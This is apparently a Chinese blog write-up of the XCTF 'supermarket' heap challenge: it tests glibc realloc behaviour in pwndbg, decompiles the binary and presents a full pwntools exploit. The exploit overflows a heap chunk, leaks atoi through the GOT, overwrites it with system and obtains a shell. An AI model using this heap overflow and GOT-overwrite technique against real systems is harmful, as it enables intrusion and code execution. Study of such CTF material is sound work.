XCTF-CHALLENGE-supermarket

realloc函数

void realloc(void *ptr, size_t size)
语法
指针名=(数据类型
)realloc(要改变内存大小的指针名,新的大小)。
新的大小可大可小(如果新的大小大于原内存大小,则新分配部分不会被初始化;如果新的大小小于原内存大小,可能会导致数据丢失 )
头文件
#include <stdlib.h> 有些编译器需要#include <malloc.h>,在TC2.0中可以使用alloc.h头文件
功能
先判断当前的指针是否有足够的连续空间,如果有,扩大mem_address指向的地址,并且将mem_address返回,如果空间不够,先按照newsize指定的大小分配空间,将原有数据从头到尾拷贝到新分配的内存区域,而后释放原来mem_address所指内存区域(注意:原来指针是自动释放,不需要使用free),同时返回新分配的内存区域的首地址。即重新分配存储器块的地址。
返回值
如果重新分配成功则返回指向被分配内存的指针,否则返回空指针NULL。
-—百度百科
感觉还是有点神乎其神,所以还是自己看看
环境:1604
测试代码:

#include<stdio.h>
#include<stdlib.h>

int main()
{

    void* ptr = malloc(0x80);
    printf("chunk1_addr ===>%p\n",ptr);
    read(0,ptr,0x10);
    int space;
    scanf("%d",&space);
    void* ptr1 = realloc(ptr,space);
    printf("chunk2_addr ====>%p\n",ptr1);

    return 0;
}
#gcc -g -no-pie realloc_0.c 

三个结果:

──────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────
In file: /home/matrix/XCTF/supermar/realloc_0.c
    8     printf("chunk1_addr ===>%p\n",ptr);
    9     read(0,ptr,0x10);
   10     int space;
   11     scanf("%d",&space);
   12     void* ptr1 = realloc(ptr,space);   //space=0x8013     printf("chunk2_addr ====>%p\n",ptr1);
   14     
   15 
   16     return 0;
   17 }
──────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffde50 ◂— 0x8000400790
01:00080x7fffffffde58 —▸ 0x602010 ◂— 0xa414141414141 /* 'AAAAAA\n' */
...03:00180x7fffffffde68 ◂— 0x2b84373fbca89f00
04:0020│ rbp  0x7fffffffde70 —▸ 0x400790 (__libc_csu_init) ◂— push   r15
05:00280x7fffffffde78 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov    edi, eax
06:00300x7fffffffde80 ◂— 0x1
07:00380x7fffffffde88 —▸ 0x7fffffffdf58 —▸ 0x7fffffffe2c5 ◂— '/home/matrix/XCTF/supermar/a.out'
────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────
 ► f 0           40075b main+133
   f 1     7ffff7a2d840 __libc_start_main+240
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> parseheap 
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x90                 Used                None              None
0x602090            0x0                 0x410                Used                None              None   <=====printf再调用时会使用堆空间,一用就是一大块
0x6024a0            0x0                 0x410                Used                None              None   <=====可能还有scanf函数也是帮凶
pwndbg> 
这是space刚好等于原来申请chunk大小0x80,原chunk没有发生变化

来看看要是space小于0x80会咋样

──────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────
In file: /home/matrix/XCTF/supermar/realloc_0.c
    8     printf("chunk1_addr ===>%p\n",ptr);
    9     read(0,ptr,0x10);
   10     int space;
   11     scanf("%d",&space);
   12     void* ptr1 = realloc(ptr,space);  //space=0x2013     printf("chunk2_addr ====>%p\n",ptr1);
   14     
   15 
   16     return 0;
   17 }
──────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffde50 ◂— 0x2000400790
01:00080x7fffffffde58 —▸ 0x602010 ◂— 'AAAAAAAAA\n'
...03:00180x7fffffffde68 ◂— 0x79f17adda96ddb00
04:0020│ rbp  0x7fffffffde70 —▸ 0x400790 (__libc_csu_init) ◂— push   r15
05:00280x7fffffffde78 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov    edi, eax
06:00300x7fffffffde80 ◂— 0x1
07:00380x7fffffffde88 —▸ 0x7fffffffdf58 —▸ 0x7fffffffe2c5 ◂— '/home/matrix/XCTF/supermar/a.out'
────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────
 ► f 0           40075b main+133
   f 1     7ffff7a2d840 __libc_start_main+240
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> parseheap 
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x30                 Used                None              None
0x602030            0x0                 0x60                 Freed                0x0              None
0x602090            0x0                 0x410                Used                None              None
0x6024a0            0x0                 0x410                Used                None              None
pwndbg> 
这时候会从原chunk中切下满足space的chunk,剩下的成为freed chunk(fastbin)

当space大于0x80

──────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────
In file: /home/matrix/XCTF/supermar/realloc_0.c
    8     printf("chunk1_addr ===>%p\n",ptr);
    9     read(0,ptr,0x10);
   10     int space;
   11     scanf("%d",&space);
   12     void* ptr1 = realloc(ptr,space); //space=0x9013     printf("chunk2_addr ====>%p\n",ptr1);
   14     
   15 
   16     return 0;
   17 }
──────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffde50 ◂— 0x9000400790
01:00080x7fffffffde58 —▸ 0x602010 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602950 ◂— 0x0
02:00100x7fffffffde60 —▸ 0x6028c0 ◂— 0xa414141414141 /* 'AAAAAA\n' */
03:00180x7fffffffde68 ◂— 0x4d304c42e609de00
04:0020│ rbp  0x7fffffffde70 —▸ 0x400790 (__libc_csu_init) ◂— push   r15
05:00280x7fffffffde78 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov    edi, eax
06:00300x7fffffffde80 ◂— 0x1
07:00380x7fffffffde88 —▸ 0x7fffffffdf58 —▸ 0x7fffffffe2c5 ◂— '/home/matrix/XCTF/supermar/a.out'
────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────
 ► f 0           40075b main+133
   f 1     7ffff7a2d840 __libc_start_main+240
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> parseheap 
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x90                 Freed     0x7ffff7dd1b78    0x7ffff7dd1b78   (在 unsorted bin中)
0x602090            0x90                0x410                Used                None              None
0x6024a0            0x0                 0x410                Used                None              None
0x6028b0            0x0                 0xa0                 Used                None              None
pwndbg> 
可以看到:将原chunk free然后再通过堆管理器分配得到满足0x90的chunk,同时将原数据复制到新chunk中,这里没有直接让原chunk向后扩大data字段,是因为后面已经有两个
used chunk 了

现在测试代码为:

#include<stdio.h>
#include<stdlib.h>

int main()
{

        void* ptr = malloc(0x80);
        read(0,ptr,0x10);
        int space;
    space = 144;
    void* ptr1 = realloc(ptr,space);

    return 0;
}

结果:

──────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────
In file: /home/matrix/XCTF/supermar/realloc_0.c
    8     read(0,ptr,0x10);
    9     int space;
   10     space = 144;
   11     void* ptr1 = realloc(ptr,space); //space=0x90
   1213     return 0;
   14 }
──────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffde50 —▸ 0x400610 (__libc_csu_init) ◂— push   r15
01:00080x7fffffffde58 ◂— 0x90004004c0
02:00100x7fffffffde60 —▸ 0x602010 ◂— 0xa4141414141 /* 'AAAAA\n' */
...04:0020│ rbp  0x7fffffffde70 —▸ 0x400610 (__libc_csu_init) ◂— push   r15
05:00280x7fffffffde78 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov    edi, eax
06:00300x7fffffffde80 ◂— 0x1
07:00380x7fffffffde88 —▸ 0x7fffffffdf58 —▸ 0x7fffffffe2c5 ◂— '/home/matrix/XCTF/supermar/a.out'
────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────
 ► f 0           400607 main+81
   f 1     7ffff7a2d840 __libc_start_main+240
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> parseheap 
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0xa0                 Used                None              None  

可以看到这里原chunk后面没有used chunk 就直接扩大了(折磨top chunk)

void *realloc(void *ptr, size_t size)所以有这几种基本情况:

  • size = chunk_ptr->size,天下太平,啥事没有
  • size < chunk_ptr->size,从原chunk中切下多余的空间(可能会造成数据丢失)多余的自成一家free chunk
  • size > chunk_ptr->size
    • 当原chunk后面没有used chunk 直接扩大
    • 当chunk后面有used chunk 从堆管理器申请合适的chunk,然后将原数据复制过去

别的不说,一波肉蛋冲击直接看题。

checksec

matrix@ubuntu:~/XCTF/supermar$ checksec supermarket
[*] '/home/matrix/XCTF/supermar/supermarket'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

 #  ____ _   _ ___  ____ ____ ___  ____ ____ ____ ____ 
#  |     \_/  |__] |___ |__/ |__] |___ |__| |    |___ 
#  |___   |   |__] |___ |  \ |    |___ |  | |___ |___ 
#                                                     
#  Welcome to CyberPeace supermarket!
#                                                     
---------menu---------
1. add a commodity
2. del a commodity
3. list commodities
4. Change the price of a commodity
5. Change the description of a commodity
6. exit
your choice>> 
经典堆题

开启NX,32位 岂不美哉~

IDA–关键函数

int add()
{
  char *v1; // ebx
  char *v2; // ebx
  char src; // [esp+4h] [ebp-24h]
  int v4; // [esp+14h] [ebp-14h]
  int v5; // [esp+18h] [ebp-10h]
  int i; // [esp+1Ch] [ebp-Ch]

  for ( i = 0; i <= 15 && (&bss_goods)[i]; ++i ) //从这里可以看出bss_goods放的是商品指针,最多16个商品 是指针数组
    ;
  if ( i > 15 )
    return puts("no more space");
  printf("name:");
  read_buf_n((int)&src, 16);  //自制read函数,最多向src里面读入16-1 个字节
  v5 = check_repeat(&src); 
  if ( v5 != -1 )
    return puts("name exist");
  v5 = check_space();
  if ( v5 == -1 )
    return puts("no more space");
  (&bss_goods)[v5] = (char *)malloc(0x1Cu);     //这里将会生成一个0x20大小的chunk,其user data指针放在bss_goods中 -----chunk1
  strcpy((&bss_goods)[v5], &src);
  printf("name:%s\n", &src);
  v4 = 0;
  printf("price:");
  v4 = read_int(); //自制read函数 有atoi进行字符向整数转换
  printf("price:%d\n", v4);
  if ( v4 > 0 && v4 <= 999 )
    *((_DWORD *)(&bss_goods)[v5] + 4) = v4; //取bss_goods里面的指针(chunk_ptr)并转换为_DWORD *(指针)+ 4 再整体解引用 ,存放价格
  *((_DWORD *)(&bss_goods)[v5] + 5) = 0;
  while ( *((_DWORD *)(&bss_goods)[v5] + 5) <= 0 || *((_DWORD *)(&bss_goods)[v5] + 5) > 256 )// 检查price下面的值
  {
    printf("descrip_size:");
    v1 = (&bss_goods)[v5];
    *((_DWORD *)v1 + 5) = read_int();  //和上面price的存法一致,这里存放 descrip_size
  }
  printf("descrip_size:%d\n", *((_DWORD *)(&bss_goods)[v5] + 5));
  v2 = (&bss_goods)[v5];
  *((_DWORD *)v2 + 6) = malloc(*((_DWORD *)(&bss_goods)[v5] + 5));// 取bss_goods里面的指针(chunk_ptr)并转换为_DWORD *(指针)+ 6 再整体解引用,
  printf("description:");                                           //然后存放malloc之后的返回地址,这里的malloc的参数是descrip_size ----chunk2
  return read_buf_n(*((_DWORD *)(&bss_goods)[v5] + 6), *((_DWORD *)(&bss_goods)[v5] + 5)); //往chunk2中输入信息,最大字节数为descrip_size -1
}

经典堆题add函数不能放过,附上数据结构图:古有得民心者得天下,现有得结构者得天下

来看看list函数:

int list()
{
  int v0; // esi
  int v1; // ebx
  char *v2; // edi
  size_t v3; // eax
  int v4; // ebx
  char *v5; // esi
  size_t v6; // eax
  const void *v7; // ebx
  size_t v8; // eax
  size_t v9; // eax
  char s[785]; // [esp+Bh] [ebp-32Dh]
  int goods_index; // [esp+31Ch] [ebp-1Ch]

  memset(s, 0, 0x311u);
  for ( goods_index = 0; goods_index <= 15; ++goods_index ) //对bss数组进行检索
  {
    if ( (&bss_goods)[goods_index] )
    {
      if ( strlen(*((const char **)(&bss_goods)[goods_index] + 6)) > 0x10 )// if  len(goods_descrip) > 0x10
      {
        v4 = *((_DWORD *)(&bss_goods)[goods_index] + 4);// v4 == price
        v5 = (&bss_goods)[goods_index];         // v5 == name_addr 注意这个是地址
        v6 = strlen(s);                         // v6 == 0
        sprintf(&s[v6], "%s: price.%d, des.", v5, v4);// name_str: price.v4_price, des.  %s通过name_addr 地址找到字符串
        v7 = (const void *)*((_DWORD *)(&bss_goods)[goods_index] + 6);// v7 == descrip_addr  地址
        v8 = strlen(s);
        memcpy(&s[v8], v7, 0xDu);               // chunk2_addr 地址解析 获得description_str
        v9 = strlen(s);
        memcpy(&s[v9], "...\n", 4u);
      }
      else
      {
        v0 = *((_DWORD *)(&bss_goods)[goods_index] + 6);// v0 == chunk2_addr 即descrip_addr
        v1 = *((_DWORD *)(&bss_goods)[goods_index] + 4);// v1 == price
        v2 = (&bss_goods)[goods_index];         // v2 == name_addr == chunk1_addr
        v3 = strlen(s);
        sprintf(&s[v3], "%s: price.%d, des.%s\n", v2, v1, v0);// name_str: price.price, des.descrip_str\n    chunk2_addr地址解析
      }
    }
  }
  puts("all  commodities info list below:");
  return puts(s);
}

分析这里的地址解析可知,数据结构中第二个chunk_addr是我们的攻击目标

再看看change_descrip函数:

int change_descri()
{
  int v1; // [esp+8h] [ebp-10h]
  int size; // [esp+Ch] [ebp-Ch]

  v1 = repeat(); 
  if ( v1 == -1 )
    return puts("not exist");
  for ( size = 0; size <= 0 || size > 0x100; size = read_int() )  //我觉的这里是在提示我们新的size范围是0~0x100,要不然跳不出去
    printf("descrip_size:");
  if ( *((_DWORD *)(&bss_goods)[v1] + 5) != size )
    realloc(*((void **)(&bss_goods)[v1] + 6), size);// if size>chunk_size_old ===>free(chunk_old)
  printf("description:");                           //修改商品的description内容即 chunk2
  return read_buf_n(*((_DWORD *)(&bss_goods)[v1] + 6), *((_DWORD *)(&bss_goods)[v1] + 5)); //这里在修改chunk大小后,读入数据
}                                                                                           //然而读入的最大字节数由descrip_size-1控制

所以如果我把原本descrip_size定义的一个很大的chunk realloc为 一个很小的chunk,而之后的重新读入数据又是看descrip_size,所以这里会存在堆溢出。

利用思路

  • list函数可用其地址解析特点来泄露真实函数地址,达到任意地址读功能
  • change函数用来改变descrip_chunk->size,达到堆溢出目的,通过覆盖((_DWORD *)(&bss_goods)[v1] + 6)的值,可以达到任意地址写功能。
    • add(‘AAAA’,0x100,’’) 第一个参数是name,第二个是description_size 第三个是 描述字符串
    • change(‘AAAA’,0x8,’’) 把原来mallo(0x100)的chunk改为malloc(0x8)剩余的free chunk因为不能放在fastbin,而又与top chunk相邻 所以会融合
    • add(‘BBBB’,0x8,’’) 堆管理器会以为AAAA的description chunk 变成了 malloc(0x8) ,然后这个BBBB的两个chunk就和AAAA很近,达到堆溢出覆盖的目的
    • 示意图为:
    • 再次change(AAAA)这次让realloc的size参数等于descrip_size(0x100) 就可以绕过realloc 函数直接读取字符串,覆盖BBBB的第二个chunk_ptr,为atoi_got,执行show泄露地址
    • 继续change(BBBB)就可以向atoi_got指向的地方读入system真实地址。
    • 输入/bin/sh即可

EXP

from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
context(os='linux',arch='i386')

atoi_addr = 0
def add(name,size,descrip):
    sh.sendline('1')
    sh.sendline(str(name))
    sh.sendline('100')
    sh.sendline(str(size))
    sh.sendline(str(descrip))

def show():
    sh.sendlineafter('your choice>> ','3')
    sh.recvuntil('des.',drop=1)
    sh.recvuntil('des.',drop=1)
    atoi_addr= u32(sh.recv(4).ljust(4,'\x00'))
    print "####address leaking####"    
    print hex(atoi_addr)
    return atoi_addr

def change(name,size,descrip):
    sh.sendlineafter('your choice>> ','5')
    sh.sendlineafter('name:',str(name))
    sh.sendlineafter('descrip_size:',str(size))
    sh.sendlineafter('description:',str(descrip))

sh = remote('220.249.52.133',49720)

elf = ELF('supermarket')
libc_local = ELF('libc.so.6')
atoi_got = elf.got['atoi']
#sh = process('./supermarket')

add('AAAA',0x100,'')
change('AAAA',0x8,'')
add('BBBB',0x8,'')
payload = '\x00'*16 + 'B'*4 + '\x00'*12 + p32(100) + p32(8) + p32(atoi_got)  #这里用于覆盖的payload要小心构造
change('AAAA',0x100,payload)                                                 #保证下次change('BBBB',0x8,p32(system_addr))
atoi_addr = show()
libc_addr = atoi_addr - libc_local.symbols['atoi']
system_addr = libc_addr + libc_local.symbols['system']
change('BBBB',0x8,p32(system_addr))
#gdb.attach(sh)
sh.interactive()

结果:我在本地失败了,应该是环境问题

your choice>> $ /bin/sh
[DEBUG] Sent 0x8 bytes:
    '/bin/sh\n'
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x29 bytes:
    'bin\n'
    'dev\n'
    'flag\n'
    'lib\n'
    'lib32\n'
    'lib64\n'
    'supermarket\n'
bin
dev
flag
lib
lib32
lib64
supermarket
$  

小结

这个题困了我挺久了,究其原因就是没有认真分析add函数及其数据结构,直接从网上瞎搜索没啥用(除非运气好),还不如自己测试。


  转载请注明: Squarer XCTF-CHALLENGE-supermarket

 上一篇
House Of Spirit(HOS) House Of Spirit(HOS)
简介House of Spirit(下面称为hos)算是一个组合型漏洞的利用,是变量覆盖和堆管理机制的组合利用,关键在于能够覆盖一个堆指针变量,使其指向可控的区域,只要构造好数据,释放后系统会错误的将该区域作为堆块放到相应的fast bin
2020-09-19
下一篇 
XCTF-CHALLENGE-notehack XCTF-CHALLENGE-notehack
别的不说,看我一手E技能点Q点点,破败接点点,芜湖 起飞~~。checksechunter@hunter:~/how2heap/my_heap/pwnable.tw hacknote$ checksec hacknote [*] '/hom
2020-09-13
  目录